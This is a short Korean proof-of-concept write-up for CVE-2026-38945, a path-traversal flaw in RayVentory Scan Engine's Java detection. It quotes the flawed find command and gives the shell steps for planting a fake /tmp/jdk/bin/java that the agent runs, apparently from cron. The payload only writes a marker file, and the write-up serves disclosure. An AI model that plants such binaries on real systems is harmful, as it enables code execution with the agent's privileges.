
# CVE-2026-38945 개념 증명 익스플로잇 RayVentory Scan Engine의 Java 탐지 기능에서 경로 탐색(path traversal) 취약점을 악용하여 임의의 바이너리를 실행하는 것을 시연하는 개념 증명(PoC) 익스플로잇입니다.
Raynet의 rvia는 oracle 옵션이 호출될 때 Java 설치를 찾기 위해 검색 조건이 제대로 종료되지 않은 find 명령을 실행합니다. 공격자는 잘못된 검색 조건을 충족하는 특정 디렉터리 구조를 만들어 Java 탐지 프로세스 중 에이전트가 악성 바이너리를 실행하도록 할 수 있습니다.

/bin/sh -c "find / -not \( -path '/dev' -o -path '/etc' -o -path '/mnt' -o -path '/tmp' -o -path '/proc' \) \( -path '*/jdk/bin/java' -o -path '*/jdk/jre/bin/java' -o -path '*/jdk-*/bin/java' -o -path '*/jdk*/bin/java' -o -path '*/jdk*/jre/bin/java' \) \( -type f -o -type l \)"
이 명령은 /tmp(또한 /dev, /etc, /mnt, )에 있는 바이너리를 무시해야 하지만, 우리는 world-writable한 예시에 관심이 있습니다.
/proc/tmp
/home과 같은 다른 잠재적으로 위험한 디렉터리의 제외가 누락되어 있음에 유의하세요.
문제는 특정 디렉터리를 무시하려는 명령의 첫 번째 부분에서 해당 디렉터리 끝에 * 문자가 누락되어 있고, 검색 대상이 되는 다른 디렉터리 앞에는 * 문자가 사용되고 있다는 점에서 발생합니다.
이로 인해 oracle 옵션이 일반적으로 cron 작업으로 실행되므로, 모든 사용자가 Java 탐지 프로세스 중에 실행되는 Java 파일을 변조할 수 있습니다.
mkdir -p /tmp/jdk/bin
echo 'echo "rvia oracle was executed!" > /tmp/PoC' > /tmp/jdk/bin/java && chmod +rx /tmp/jdk/bin/java

이는 oracle 옵션을 사용할 때 "Java 런타임 경로가 /opt/rvia/rvia.cfg 파일에 구성되어 있지 않으면 RayVentory Scan Engine은 필요할 때마다 어쨌든 이를 찾으려고 시도하기 때문입니다." 그리고 어느 시점에서 java -version을 실행하여 설치된 Java 환경의 버전을 확인하려고 시도합니다.